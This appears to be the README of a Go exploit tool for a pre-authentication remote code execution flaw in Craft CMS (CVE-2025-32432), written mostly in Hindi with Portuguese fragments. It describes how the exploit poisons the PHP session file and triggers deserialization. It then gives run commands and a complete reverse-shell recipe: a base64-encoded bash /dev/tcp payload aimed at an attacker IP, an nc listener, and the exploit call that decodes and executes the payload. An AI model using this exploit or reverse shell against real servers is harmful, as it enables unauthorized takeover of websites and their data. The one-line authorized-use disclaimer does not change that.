CVE-2025-32432 — Craft CMS Pre-Auth RCE

Craft CMS में बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) के लिए एक्सप्लॉइट, Go में लिखा गया।
c0gnit00 के मूल कार्य से प्रेरित।

यह कैसे काम करता है

1. GET /admin/login के माध्यम से PHP सेशन और CSRF टोकन प्राप्त करता है
2. क्वेरी स्ट्रिंग में PHP कोड इंजेक्ट करके PHP सेशन फ़ाइल को दूषित करता है
3. दूषित फ़ाइल को शामिल करने और निष्पादित करने के लिए assets/generate-transform के माध्यम से डिसीरियलाइज़ेशन ट्रिगर करता है

उपयोग

go run main.go -u <url> -c <comando> 

उदाहरण

# Sem Asset ID (brute-force automático)
go run main.go -u http://target.com -c whoami

रिवर्स शेल

1. अपने IP और पोर्ट के साथ base64 में पेलोड जनरेट करें:

echo 'exec sh -i >& /dev/tcp/SEU_IP/4444 0>&1' | base64

2. लिसनर खोलें:

nc -lvnp 4444

3. पेलोड के साथ एक्सप्लॉइट चलाएँ:

go run main.go -u http://target.com -c "echo 'ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC9TRVVfSVAvNDQ0NCAwPiYxCg==' | base64 -d | bash"

चरण 1 में अपने वास्तविक IP के साथ जनरेट किए गए base64 मान से बदलें।

चेतावनी

केवल अधिकृत वातावरण और नियंत्रित सुरक्षा परीक्षणों में उपयोग के लिए।